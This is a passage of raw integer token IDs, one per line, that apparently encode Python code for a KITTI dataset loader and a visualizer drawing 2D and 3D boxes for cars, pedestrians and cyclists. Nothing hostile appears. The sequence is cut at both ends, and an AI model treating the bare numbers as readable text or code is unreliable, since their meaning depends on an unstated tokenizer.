29918,
3972,
1683,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
5451,
29918,
3972,
29892,
1967,
29918,
3972,
29918,
978,
29897,
13,
4706,
1583,
29889,
1643,
29918,
3972,
353,
6389,
29889,
1643,
29918,
3972,
565,
6389,
29889,
1643,
29918,
3972,
1683,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
5451,
29918,
3972,
29892,
3858,
29918,
3972,
29918,
978,
29897,
13,
4706,
1583,
29889,
29880,
333,
279,
29918,
3972,
353,
6389,
29889,
29880,
333,
279,
29918,
3972,
565,
6389,
29889,
29880,
333,
279,
29918,
3972,
1683,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
5451,
29918,
3972,
29892,
17343,
279,
29918,
3972,
29918,
978,
29897,
13,
4706,
1583,
29889,
1052,
747,
29918,
3972,
353,
6389,
29889,
1052,
747,
29918,
3972,
565,
6389,
29889,
1052,
747,
29918,
3972,
1683,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
5451,
29918,
3972,
29892,
1208,
747,
29918,
3972,
29918,
978,
29897,
13,
4706,
1583,
29889,
19488,
29918,
3972,
353,
6389,
29889,
19488,
29918,
3972,
565,
6389,
29889,
19488,
29918,
3972,
1683,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
5451,
29918,
3972,
29892,
10809,
29918,
3972,
29918,
978,
29897,
13,
4706,
1583,
29889,
11965,
29918,
3972,
353,
6389,
29889,
11965,
29918,
3972,
565,
6389,
29889,
11965,
29918,
3972,
1683,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
5451,
29918,
3972,
29892,
4450,
29918,
3972,
29918,
978,
29897,
13,
13,
4706,
565,
6389,
29889,
11294,
292,
29901,
13,
9651,
396,
2254,
19359,
18999,
322,
2302,
3001,
954,
29889,
310,
4559,
13,
9651,
1583,
29889,
11762,
29918,
4841,
353,
6389,
29889,
11762,
29918,
4841,
565,
6389,
29889,
11762,
29918,
4841,
1683,
2897,
29889,
1761,
3972,
29898,
1311,
29889,
3027,
29918,
3972,
29897,
13,
9651,
1583,
29889,
11762,
29918,
4841,
353,
12705,
29898,
3366,
25641,
29900,
29946,
29881,
29913,
1642,
4830,
29898,
524,
29898,
11762,
29918,
333,
876,
363,
19359,
29918,
333,
297,
1583,
29889,
11762,
29918,
4841,
1402,
1820,
29922,
2892,
921,
29901,
938,
29898,
29916,
876,
13,
9651,
1596,
703,
8009,
29889,
310,
6571,
15602,
29901,
6571,
1642,
4830,
29898,
1311,
29889,
5451,
29892,
7431,
29898,
1311,
29889,
11762,
29918,
4841,
4961,
13,
13,
9651,
1583,
29889,
11249,
29918,
4841,
353,
9657,
580,
13,
9651,
1583,
29889,
1949,
29918,
27736,
353,
9657,
580,
13,
9651,
1583,
3032,
509,
29895,
29918,
1643,
29918,
497,
29918,
11762,
29879,
353,
9657,
580,
13,
9651,
1583,
3032,
509,
29895,
29918,
11965,
29918,
497,
29918,
11762,
29879,
353,
9657,
580,
13,
9651,
363,
19359,
29918,
333,
297,
1583,
29889,
11762,
29918,
4841,
29901,
13,
18884,
19359,
29918,
2492,
29918,
24772,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3027,
29918,
3972,
29892,
19359,
29918,
333,
29897,
13,
18884,
1583,
29889,
11249,
29918,
4841,
29961,
11762,
29918,
333,
29962,
353,
12705,
4197,
524,
29898,
11249,
29889,
5451,
17350,
1159,
29961,
29900,
2314,
363,
4559,
297,
2897,
29889,
1761,
3972,
29898,
11762,
29918,
2492,
29918,
24772,
29897,
2314,
13,
18884,
1583,
29889,
1949,
29918,
27736,
29961,
11762,
29918,
333,
29962,
353,
7431,
29898,
1311,
29889,
11249,
29918,
4841,
29961,
11762,
29918,
333,
2314,
13,
13,
18884,
565,
6389,
29889,
5451,
1275,
376,
26495,
1115,
13,
462,
1678,
19359,
29918,
21134,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
1643,
29918,
3972,
29892,
19359,
29918,
333,
718,
11393,
3945,
1159,
13,
462,
1678,
534,
29895,
29918,
1643,
29918,
497,
29918,
19935,
353,
2322,
8977,
29898,
1761,
29897,
13,
462,
1678,
363,
1196,
297,
1722,
29898,
11762,
29918,
21134,
29918,
2084,
29892,
525,
29878,
29374,
13,
462,
4706,
1196,
353,
1196,
29889,
17010,
580,
13,
462,
4706,
18897,
353,
1196,
29889,
5451,
703,
16521,
13,
462,
4706,
18897,
29961,
29941,
17531,
353,
518,
7411,
29898,
29916,
29897,
363,
921,
297,
18897,
29961,
29941,
29901,
5262,
13,
462,
4706,
3515,
29918,
333,
353,
938,
29898,
517,
12360,
29961,
29900,
2314,
13,
462,
4706,
5702,
29918,
333,
353,
18897,
29961,
29896,
29962,
13,
462,
4706,
848,
353,
18897,
29961,
29941,
17531,
718,
6796,
29899,
29896,
3108,
718,
518,
11294,
29918,
333,
29962,
29871,
396,
448,
29896,
1363,
11073,
437,
451,
505,
16420,
13,
462,
4706,
534,
29895,
29918,
1643,
29918,
497,
29918,
19935,
29961,
2557,
29918,
333,
1822,
4397,
29898,
2061,
29941,
29881,
29898,
1272,
29922,
1272,
876,
13,
462,
1678,
1583,
3032,
509,
29895,
29918,
1643,
29918,
497,
29918,
11762,
29879,
29961,
11762,
29918,
333,
29962,
353,
534,
29895,
29918,
1643,
29918,
497,
29918,
19935,
13,
13,
18884,
565,
6389,
29889,
4294,
29918,
11965,
29879,
29901,
13,
462,
1678,
19359,
29918,
11965,
29879,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
11965,
29918,
3972,
29892,
19359,
29918,
333,
718,
11393,
3945,
1159,
13,
462,
1678,
534,
29895,
29918,
11965,
29879,
29918,
497,
29918,
19935,
353,
2322,
8977,
29898,
1761,
29897,
13,
462,
1678,
363,
1196,
297,
1722,
29898,
11762,
29918,
11965,
29879,
29918,
2084,
29892,
525,
29878,
29374,
13,
462,
4706,
1196,
353,
1196,
29889,
17010,
580,
13,
462,
4706,
18897,
353,
1196,
29889,
5451,
703,
16521,
13,
462,
4706,
18897,
29961,
29941,
17531,
353,
518,
7411,
29898,
29916,
29897,
363,
921,
297,
18897,
29961,
29941,
29901,
5262,
13,
462,
4706,
3515,
29918,
333,
353,
938,
29898,
517,
12360,
29961,
29900,
2314,
13,
462,
4706,
5702,
29918,
333,
353,
18897,
29961,
29896,
29962,
13,
462,
4706,
848,
353,
18897,
29961,
29906,
17531,
718,
518,
11294,
29918,
333,
29962,
13,
462,
4706,
534,
29895,
29918,
11965,
29879,
29918,
497,
29918,
19935,
29961,
2557,
29918,
333,
1822,
4397,
29898,
2061,
29941,
29881,
29898,
1272,
29922,
1272,
876,
13,
462,
1678,
1583,
3032,
509,
29895,
29918,
11965,
29918,
497,
29918,
11762,
29879,
29961,
11762,
29918,
333,
29962,
353,
534,
29895,
29918,
11965,
29879,
29918,
497,
29918,
19935,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
11249,
29918,
4841,
353,
12705,
4197,
524,
29898,
11249,
29889,
5451,
17350,
1159,
29961,
29900,
2314,
363,
4559,
297,
2897,
29889,
1761,
3972,
29898,
1311,
29889,
3027,
29918,
3972,
29897,
2314,
13,
9651,
1583,
29889,
1949,
29918,
27736,
353,
7431,
29898,
1311,
29889,
11249,
29918,
4841,
29897,
13,
13,
4706,
565,
6389,
29889,
12772,
29918,
1445,
29918,
2084,
29901,
13,
9651,
411,
1722,
29898,
5085,
29889,
12772,
29918,
1445,
29918,
2084,
29892,
525,
29878,
1495,
408,
1399,
29879,
29918,
1445,
29901,
13,
18884,
1583,
29889,
11249,
29918,
4841,
353,
518,
524,
29898,
1220,
29897,
363,
1196,
297,
1399,
29879,
29918,
1445,
29889,
949,
9012,
580,
29962,
13,
4706,
25342,
6389,
29889,
513,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
11249,
29918,
4841,
353,
518,
524,
29898,
5085,
29889,
513,
4638,
13,
13,
4706,
1596,
703,
11536,
954,
29889,
310,
6571,
11916,
29901,
6571,
1642,
4830,
29898,
1311,
29889,
5451,
29892,
7431,
29898,
1311,
4961,
13,
13,
1678,
822,
4770,
2435,
12035,
1311,
1125,
13,
4706,
565,
338,
8758,
29898,
1311,
29889,
1949,
29918,
27736,
29892,
9657,
1125,
13,
9651,
3001,
29918,
1949,
29918,
27736,
353,
29871,
29900,
13,
9651,
363,
17117,
954,
29918,
11249,
297,
1583,
29889,
1949,
29918,
27736,
29889,
7076,
7295,
13,
18884,
3001,
29918,
1949,
29918,
27736,
4619,
954,
29918,
11249,
13,
9651,
736,
3001,
29918,
1949,
29918,
27736,
13,
4706,
1683,
29901,
13,
9651,
736,
1583,
29889,
1949,
29918,
27736,
13,
13,
1678,
822,
4770,
1524,
12035,
1311,
1125,
13,
4706,
565,
338,
8758,
29898,
1311,
29889,
11249,
29918,
4841,
29892,
9657,
1125,
13,
9651,
363,
19359,
29918,
333,
29892,
4559,
29918,
4841,
297,
1583,
29889,
11249,
29918,
4841,
29889,
7076,
7295,
13,
18884,
363,
4559,
29918,
333,
297,
4559,
29918,
4841,
29901,
13,
462,
1678,
7709,
4559,
29918,
333,
29892,
19359,
29918,
333,
13,
4706,
1683,
29901,
13,
9651,
363,
4559,
29918,
333,
297,
1583,
29889,
11249,
29918,
4841,
29901,
13,
18884,
7709,
4559,
29918,
333,
13,
13,
1678,
822,
1423,
29918,
13140,
29898,
1311,
29892,
22645,
29892,
19359,
29918,
13140,
29922,
8516,
1125,
13,
4706,
565,
338,
8758,
29898,
1311,
29889,
1949,
29918,
27736,
29892,
9657,
29897,
322,
19359,
29918,
13140,
338,
451,
6213,
29901,
13,
9651,
954,
29918,
27736,
353,
1583,
29889,
1949,
29918,
27736,
29961,
11762,
29918,
13140,
29962,
13,
4706,
1683,
29901,
13,
9651,
954,
29918,
27736,
353,
1583,
29889,
1949,
29918,
27736,
13,
4706,
4974,
22645,
529,
954,
29918,
27736,
13,
13,
1678,
822,
679,
29918,
3027,
29898,
1311,
29892,
22645,
29892,
19359,
29918,
13140,
29922,
8516,
1125,
13,
4706,
1583,
29889,
3198,
29918,
13140,
29898,
13140,
29892,
19359,
29918,
13140,
29897,
13,
4706,
565,
19359,
29918,
13140,
29901,
13,
9651,
10153,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3027,
29918,
3972,
29892,
376,
25641,
29900,
29946,
29881,
29913,
1642,
4830,
29898,
524,
29898,
11762,
29918,
13140,
8243,
376,
25641,
29900,
29953,
29881,
1836,
2732,
1642,
4830,
29898,
524,
29898,
13140,
4961,
13,
4706,
1683,
29901,
13,
9651,
10153,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3027,
29918,
3972,
29892,
376,
25641,
29900,
29953,
29881,
1836,
2732,
1642,
4830,
29898,
524,
29898,
13140,
4961,
13,
4706,
736,
3667,
29879,
29889,
1359,
29918,
3027,
29898,
2492,
29918,
2084,
29897,
13,
13,
1678,
822,
679,
29918,
29880,
333,
279,
29898,
1311,
29892,
22645,
29892,
19359,
29918,
13140,
29922,
8516,
29892,
26688,
29922,
9302,
29889,
7411,
29941,
29906,
29892,
302,
29918,
2003,
29922,
29946,
1125,
13,
4706,
1583,
29889,
3198,
29918,
13140,
29898,
13140,
29892,
19359,
29918,
13140,
29897,
13,
4706,
565,
19359,
29918,
13140,
29901,
13,
9651,
17343,
279,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
29880,
333,
279,
29918,
3972,
29892,
376,
25641,
29900,
29946,
29881,
29913,
1642,
4830,
29898,
524,
29898,
11762,
29918,
13140,
8243,
376,
25641,
29900,
29953,
29881,
1836,
2109,
1642,
4830,
29898,
524,
29898,
13140,
4961,
13,
4706,
1683,
29901,
13,
9651,
17343,
279,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
29880,
333,
279,
29918,
3972,
29892,
376,
25641,
29900,
29953,
29881,
1836,
2732,
1642,
4830,
29898,
524,
29898,
13140,
4961,
13,
4706,
736,
3667,
29879,
29889,
1359,
29918,
955,
29877,
29918,
16192,
29898,
29880,
333,
279,
29918,
2084,
29892,
26688,
29892,
302,
29918,
2003,
29897,
13,
13,
1678,
822,
679,
29918,
1052,
26218,
29898,
1311,
29892,
22645,
29892,
19359,
29918,
13140,
29922,
8516,
1125,
13,
4706,
1583,
29889,
3198,
29918,
13140,
29898,
13140,
29892,
19359,
29918,
13140,
29897,
13,
4706,
565,
19359,
29918,
13140,
29901,
13,
9651,
1208,
747,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
1052,
747,
29918,
3972,
29892,
376,
25641,
29900,
29946,
29881,
1836,
3945,
1642,
4830,
29898,
524,
29898,
11762,
29918,
13140,
4961,
13,
4706,
1683,
29901,
13,
9651,
1208,
747,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
1052,
747,
29918,
3972,
29892,
376,
25641,
29900,
29953,
29881,
1836,
3945,
1642,
4830,
29898,
524,
29898,
13140,
4961,
13,
4706,
736,
3667,
29879,
29889,
7856,
26218,
29898,
1052,
747,
29918,
2084,
29897,
13,
13,
1678,
822,
679,
29918,
1643,
29918,
12650,
29898,
1311,
29892,
22645,
29892,
19359,
29918,
13140,
29922,
8516,
1125,
13,
4706,
1583,
29889,
3198,
29918,
13140,
29898,
13140,
29892,
19359,
29918,
13140,
29897,
13,
4706,
565,
19359,
29918,
13140,
29901,
13,
9651,
736,
1583,
3032,
509,
29895,
29918,
1643,
29918,
497,
29918,
11762,
29879,
29961,
11762,
29918,
13140,
3816,
13140,
29962,
13,
4706,
1683,
29901,
13,
9651,
3858,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
1643,
29918,
3972,
29892,
376,
25641,
29900,
29953,
29881,
1836,
3945,
1642,
4830,
29898,
524,
29898,
13140,
4961,
13,
9651,
736,
3667,
29879,
29889,
949,
29918,
1643,
29898,
1643,
29918,
2084,
29897,
13,
13,
1678,
822,
679,
29918,
11965,
29918,
5415,
1691,
29898,
1311,
29892,
22645,
29892,
19359,
29918,
13140,
29922,
8516,
1125,
13,
4706,
1583,
29889,
3198,
29918,
13140,
29898,
13140,
29892,
19359,
29918,
13140,
29897,
13,
4706,
565,
19359,
29918,
13140,
29901,
13,
9651,
736,
1583,
3032,
509,
29895,
29918,
11965,
29918,
497,
29918,
11762,
29879,
29961,
11762,
29918,
13140,
3816,
13140,
29962,
13,
4706,
1683,
29901,
13,
9651,
3858,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
1643,
29918,
3972,
29892,
376,
25641,
29900,
29953,
29881,
1836,
3945,
1642,
4830,
29898,
524,
29898,
13140,
4961,
13,
9651,
736,
3667,
29879,
29889,
949,
29918,
1643,
29898,
1643,
29918,
2084,
29897,
13,
13,
1678,
822,
679,
29918,
19488,
29898,
1311,
29892,
22645,
1125,
13,
4706,
4974,
22645,
529,
1583,
29889,
1949,
29918,
27736,
13,
4706,
10153,
29918,
9507,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
19488,
29918,
3972,
29892,
11860,
29900,
29953,
29881,
29889,
2732,
29908,
1273,
22645,
29897,
13,
4706,
736,
3667,
29879,
29889,
1359,
29918,
19488,
29898,
2492,
29918,
9507,
29897,
13,
13,
13,
1990,
9249,
3950,
29898,
3318,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
6389,
1125,
13,
4706,
1583,
29889,
24713,
353,
476,
1806,
29911,
1367,
271,
24541,
29898,
5085,
29897,
13,
13,
4706,
1583,
29889,
5085,
353,
6389,
13,
4706,
1583,
29889,
1003,
353,
6213,
13,
4706,
1583,
29889,
9641,
29918,
13236,
353,
6213,
13,
4706,
1583,
29889,
4905,
29918,
2084,
353,
6213,
13,
4706,
1583,
29889,
26065,
29918,
4905,
353,
6213,
13,
4706,
1583,
29889,
29880,
333,
279,
29918,
4905,
353,
6213,
13,
13,
4706,
565,
6389,
29889,
17482,
29901,
13,
9651,
286,
8205,
29889,
6768,
29889,
2696,
10525,
353,
5852,
13,
13,
9651,
565,
451,
2897,
29889,
2084,
29889,
9933,
703,
17482,
29908,
1125,
13,
18884,
2897,
29889,
11256,
3972,
877,
17482,
1495,
13,
9651,
565,
525,
29880,
333,
279,
29915,
297,
6389,
29889,
17482,
322,
525,
26065,
29915,
297,
6389,
29889,
17482,
29901,
13,
18884,
4974,
525,
29880,
333,
279,
29915,
297,
6389,
29889,
7620,
322,
525,
26065,
29915,
297,
6389,
29889,
7620,
13,
18884,
1583,
29889,
9641,
29918,
13236,
353,
13850,
29906,
29889,
15167,
10507,
877,
17482,
29914,
29880,
333,
279,
29918,
26065,
29889,
17345,
742,
13,
462,
462,
462,
1678,
13850,
29906,
29889,
15167,
10507,
29918,
17823,
617,
877,
29924,
742,
525,
29967,
742,
29871,
525,
29925,
742,
525,
29954,
5477,
13,
462,
462,
462,
268,
29906,
29900,
29892,
313,
29896,
29906,
29946,
29947,
29892,
29871,
29941,
29947,
29946,
334,
29871,
29906,
876,
13,
9651,
25342,
525,
29880,
333,
279,
29915,
297,
6389,
29889,
17482,
29901,
13,
18884,
4974,
525,
29880,
333,
279,
29915,
297,
6389,
29889,
7620,
13,
18884,
1583,
29889,
9641,
29918,
13236,
353,
13850,
29906,
29889,
15167,
10507,
29898,
29888,
29915,
17482,
19248,
5085,
29889,
17482,
29961,
29900,
29962,
1836,
17345,
742,
13,
462,
462,
462,
1678,
13850,
29906,
29889,
15167,
10507,
29918,
17823,
617,
877,
29924,
742,
525,
29967,
742,
525,
29925,
742,
525,
29954,
5477,
13,
462,
462,
462,
268,
29906,
29900,
29892,
313,
29896,
29906,
29946,
29947,
29892,
29871,
29941,
29947,
29946,
876,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
9641,
29918,
13236,
353,
13850,
29906,
29889,
15167,
10507,
29898,
29888,
29915,
17482,
19248,
5085,
29889,
17482,
29961,
29900,
29962,
1836,
17345,
742,
13,
462,
462,
462,
1678,
13850,
29906,
29889,
15167,
10507,
29918,
17823,
617,
877,
29924,
742,
525,
29967,
742,
525,
29925,
742,
525,
29954,
5477,
13,
462,
462,
462,
268,
29906,
29900,
29892,
313,
29896,
29906,
29946,
29947,
29892,
29871,
29941,
29947,
29946,
876,
13,
4706,
565,
6389,
29889,
7620,
29901,
13,
9651,
286,
8205,
29889,
6768,
29889,
2696,
10525,
353,
5852,
13,
13,
9651,
1583,
29889,
4905,
29918,
2084,
353,
10802,
877,
4905,
1495,
13,
9651,
1583,
29889,
4905,
29918,
2084,
29889,
11256,
3972,
29898,
28997,
29918,
554,
29922,
5574,
29897,
13,
9651,
565,
525,
26065,
29915,
297,
6389,
29889,
7620,
29901,
13,
18884,
1583,
29889,
26065,
29918,
4905,
353,
1583,
29889,
4905,
29918,
2084,
847,
525,
3027,
29918,
29900,
29906,
29915,
13,
18884,
1583,
29889,
26065,
29918,
4905,
29889,
11256,
3972,
29898,
28997,
29918,
554,
29922,
5574,
29897,
13,
9651,
565,
525,
29880,
333,
279,
29915,
297,
6389,
29889,
7620,
29901,
13,
18884,
1583,
29889,
29880,
333,
279,
29918,
4905,
353,
1583,
29889,
4905,
29918,
2084,
847,
525,
955,
1486,
484,
29915,
13,
18884,
1583,
29889,
29880,
333,
279,
29918,
4905,
29889,
11256,
3972,
29898,
28997,
29918,
554,
29922,
5574,
29897,
13,
13,
4706,
565,
6389,
29889,
4294,
29918,
29880,
333,
279,
29918,
2541,
29918,
19488,
29901,
13,
9651,
1583,
29889,
1003,
353,
286,
8205,
29889,
4532,
29898,
4532,
29922,
8516,
29892,
25989,
2780,
7607,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
511,
285,
29887,
2780,
29922,
8516,
29892,
13,
462,
462,
259,
6012,
29922,
8516,
29892,
2159,
7607,
524,
29898,
29906,
334,
29871,
29953,
29941,
29946,
511,
938,
29898,
29906,
334,
29871,
29946,
29955,
29955,
4961,
13,
13,
1678,
822,
1065,
29898,
1311,
1125,
13,
4706,
396,
14402,
29898,
29888,
11129,
328,
29897,
1773,
389,
19715,
756,
263,
1108,
411,
1122,
17345,
29889,
13,
4706,
565,
6389,
29889,
1287,
414,
1405,
29871,
29900,
29901,
13,
9651,
1053,
21984,
29889,
29888,
329,
1973,
408,
3105,
1973,
13,
9651,
411,
3105,
1973,
29889,
23574,
13366,
29898,
5085,
29889,
1287,
414,
29897,
408,
2279,
3406,
29901,
13,
18884,
2279,
3406,
29889,
1958,
29898,
1730,
29889,
3389,
29918,
13096,
5570,
29892,
1583,
29889,
24713,
29897,
13,
4706,
1683,
29901,
13,
9651,
363,
848,
29918,
2248,
297,
260,
29939,
18933,
29889,
29873,
29939,
18933,
29898,
1311,
29889,
24713,
1125,
13,
18884,
565,
338,
8758,
29898,
1272,
29918,
2248,
29892,
18761,
1125,
13,
462,
1678,
1583,
29889,
3389,
29918,
13096,
5570,
10456,
1272,
29918,
2248,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
1583,
29889,
3389,
29918,
13096,
5570,
29898,
1272,
29918,
2248,
29897,
13,
13,
1678,
822,
1510,
29918,
3027,
29918,
2541,
29918,
1884,
267,
29898,
1311,
29892,
10153,
29892,
3618,
29892,
1208,
747,
29892,
4450,
29879,
29922,
8516,
29892,
1510,
29941,
29881,
29922,
5574,
29892,
8158,
29918,
386,
12268,
29922,
29900,
29889,
29953,
29900,
1125,
13,
4706,
9995,
7704,
1967,
411,
29871,
29906,
29928,
3216,
292,
16273,
9995,
13,
4706,
10153,
353,
7442,
29889,
8552,
29898,
2492,
29897,
13,
13,
4706,
363,
5446,
297,
3618,
29901,
13,
9651,
565,
5446,
29889,
1853,
1275,
376,
29928,
609,
29907,
598,
1115,
13,
18884,
6773,
13,
9651,
565,
1510,
29941,
29881,
29901,
13,
18884,
396,
363,
27303,
13,
18884,
565,
756,
5552,
29898,
5415,
29892,
525,
333,
29374,
13,
462,
1678,
2927,
353,
18761,
4197,
524,
29898,
29883,
334,
29871,
29906,
29945,
29945,
29897,
363,
274,
297,
11955,
29961,
524,
29898,
5415,
29889,
333,
29897,
1273,
4236,
29918,
2780,
24960,
13,
18884,
1683,
29901,
13,
462,
1678,
2927,
353,
313,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
29897,
13,
18884,
3800,
29941,
29881,
29918,
16485,
29918,
29906,
29881,
29892,
903,
353,
3667,
29879,
29889,
26017,
29918,
1884,
29918,
29941,
29881,
29898,
5415,
29892,
1208,
747,
29889,
29925,
29897,
13,
18884,
565,
3800,
29941,
29881,
29918,
16485,
29918,
29906,
29881,
338,
6213,
29901,
13,
462,
1678,
6773,
13,
18884,
10153,
353,
3667,
29879,
29889,
4012,
29918,
4836,
287,
29918,
1884,
29941,
29881,
29898,
2492,
29892,
3800,
29941,
29881,
29918,
16485,
29918,
29906,
29881,
29892,
2927,
29922,
2780,
29897,
13,
9651,
1683,
29901,
13,
18884,
396,
363,
27303,
13,
18884,
565,
756,
5552,
29898,
5415,
29892,
525,
333,
29374,
13,
462,
1678,
2927,
353,
6213,
13,
462,
1678,
3858,
353,
851,
29898,
5415,
29889,
1853,
29897,
7503,
29941,
29962,
718,
525,
1273,
29881,
29915,
1273,
5446,
29889,
333,
13,
18884,
1683,
29901,
13,
462,
1678,
2927,
353,
525,
12692,
29915,
13,
462,
1678,
3858,
353,
6213,
13,
18884,
926,
353,
938,
29898,
5415,
29889,
29916,
1195,
511,
938,
29898,
5415,
29889,
962,
262,
511,
938,
29898,
5415,
29889,
29916,
3317,
511,
938,
29898,
5415,
29889,
29891,
3317,
29897,
13,
18884,
289,
29890,
29889,
1202,
29898,
2492,
29892,
334,
1066,
29892,
2927,
29922,
2780,
29892,
3858,
29922,
1643,
29897,
13,
4706,
565,
4450,
29879,
338,
451,
6213,
29901,
13,
9651,
363,
4450,
297,
4450,
29879,
29901,
13,
18884,
565,
4450,
29889,
1853,
1275,
376,
29928,
609,
29907,
598,
1115,
13,
462,
1678,
6773,
13,
18884,
565,
756,
5552,
29898,
11965,
29892,
525,
13628,
1495,
322,
4450,
29889,
13628,
529,
8158,
29918,
386,
12268,
29901,
13,
462,
1678,
6773,
13,
18884,
565,
1510,
29941,
29881,
29901,
13,
462,
1678,
396,
363,
27303,
13,
462,
1678,
565,
756,
5552,
29898,
11965,
29892,
525,
333,
29374,
13,
462,
4706,
2927,
353,
18761,
4197,
524,
29898,
29883,
334,
29871,
29906,
29945,
29945,
29897,
363,
274,
297,
11955,
29961,
524,
29898,
11965,
29889,
333,
29897,
1273,
4236,
29918,
2780,
24960,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
2927,
353,
313,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
29897,
13,
462,
1678,
3800,
29941,
29881,
29918,
16485,
29918,
29906,
29881,
29892,
903,
353,
3667,
29879,
29889,
26017,
29918,
1884,
29918,
29941,
29881,
29898,
11965,
29892,
1208,
747,
29889,
29925,
29897,
13,
462,
1678,
565,
3800,
29941,
29881,
29918,
16485,
29918,
29906,
29881,
338,
6213,
29901,
13,
462,
4706,
6773,
13,
462,
1678,
10153,
353,
3667,
29879,
29889,
4012,
29918,
4836,
287,
29918,
1884,
29941,
29881,
29898,
2492,
29892,
3800,
29941,
29881,
29918,
16485,
29918,
29906,
29881,
29892,
2927,
29922,
2780,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
396,
363,
27303,
13,
462,
1678,
565,
756,
5552,
29898,
11965,
29892,
525,
333,
29374,
13,
462,
4706,
2927,
353,
6213,
13,
462,
4706,
3858,
353,
851,
29898,
11965,
29889,
1853,
29897,
7503,
29941,
29962,
718,
525,
1273,
29881,
29915,
1273,
4450,
29889,
333,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
2927,
353,
525,
9539,
29915,
13,
462,
4706,
3858,
353,
6213,
13,
462,
1678,
926,
353,
938,
29898,
11965,
29889,
29916,
1195,
511,
938,
29898,
11965,
29889,
962,
262,
511,
938,
29898,
11965,
29889,
29916,
3317,
511,
938,
29898,
11965,
29889,
29891,
3317,
29897,
13,
462,
1678,
289,
29890,
29889,
1202,
29898,
2492,
29892,
334,
1066,
29892,
2927,
29922,
2780,
29892,
3858,
29922,
1643,
29897,
13,
4706,
736,
10153,
13,
13,
1678,
822,
1510,
29918,
3027,
29918,
2541,
29918,
1884,
267,
29918,
29941,
1853,
29898,
1311,
29892,
10153,
29892,
3618,
29892,
3618,
29906,
29881,
29892,
1024,
29892,
3618,
29918,
11965,
1125,
13,
4706,
9995,
7704,
1967,
411,
29871,
29906,
29928,
3216,
292,
16273,
9995,
13,
4706,
10153,
29896,
353,
7442,
29889,
8552,
29898,
2492,
29897,
29871,
396,
363,
29871,
29906,
29881,
289,
1884,
13,
4706,
1134,
29918,
1761,
353,
6796,
29925,
287,
342,
6392,
613,
376,
8179,
613,
376,
29733,
695,
391,
3108,
13,
4706,
396,
4216,
15796,
13,
4706,
2927,
353,
313,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
29897,
13,
4706,
363,
5446,
297,
3618,
29901,
13,
9651,
565,
5446,
29889,
1853,
451,
297,
1134,
29918,
1761,
29901,
13,
18884,
6773,
13,
9651,
13850,
29906,
29889,
1621,
2521,
29898,
13,
18884,
10153,
29896,
29892,
13,
18884,
313,
524,
29898,
5415,
29889,
29916,
1195,
511,
938,
29898,
5415,
29889,
962,
262,
8243,
13,
18884,
313,
524,
29898,
5415,
29889,
29916,
3317,
511,
938,
29898,
5415,
29889,
29891,
3317,
8243,
13,
18884,
2927,
29892,
13,
462,
29941,
29892,
13,
9651,
1723,
13,
4706,
1369,
29916,
353,
29871,
29945,
13,
4706,
4079,
353,
13850,
29906,
29889,
29943,
1164,
29911,
29918,
4448,
7068,
13282,
29918,
5425,
3580,
1307,
29990,
13,
13,
4706,
1426,
29918,
29880,
1849,
353,
518,
5415,
29889,
1853,
363,
5446,
297,
3618,
565,
5446,
29889,
1853,
297,
1134,
29918,
1761,
29962,
13,
4706,
1426,
29918,
29880,
1849,
29889,
7851,
29898,
29900,
29892,
376,
4775,
29901,
1159,
13,
4706,
363,
302,
297,
3464,
29898,
2435,
29898,
726,
29918,
29880,
1849,
22164,
13,
9651,
1426,
29918,
1066,
353,
313,
2962,
29916,
29892,
29871,
29906,
29945,
334,
313,
29876,
718,
29871,
29896,
876,
13,
9651,
13850,
29906,
29889,
649,
1626,
29898,
2492,
29896,
29892,
1426,
29918,
29880,
1849,
29961,
29876,
1402,
1426,
29918,
1066,
29892,
4079,
29892,
29871,
29900,
29889,
29945,
29892,
2927,
29892,
29871,
29900,
29892,
13850,
29906,
29889,
18521,
29918,
6344,
29897,
13,
4706,
396,
4216,
29871,
29906,
29928,
21099,
13,
4706,
2927,
353,
313,
29900,
29892,
29871,
29900,
29892,
29871,
29906,
29945,
29945,
29897,
13,
4706,
363,
5446,
297,
3618,
29906,
29881,
29901,
13,
9651,
13850,
29906,
29889,
1621,
2521,
29898,
13,
18884,
10153,
29896,
29892,
13,
18884,
313,
524,
29898,
5415,
29889,
1884,
29906,
29881,
29961,
29900,
11724,
938,
29898,
5415,
29889,
1884,
29906,
29881,
29961,
29896,
2314,
511,
13,
18884,
313,
524,
29898,
5415,
29889,
1884,
29906,
29881,
29961,
29906,
11724,
938,
29898,
5415,
29889,
1884,
29906,
29881,
29961,
29941,
2314,
511,
13,
18884,
2927,
29892,
13,
462,
29906,
29892,
13,
9651,
1723,
13,
4706,
1369,
29916,
353,
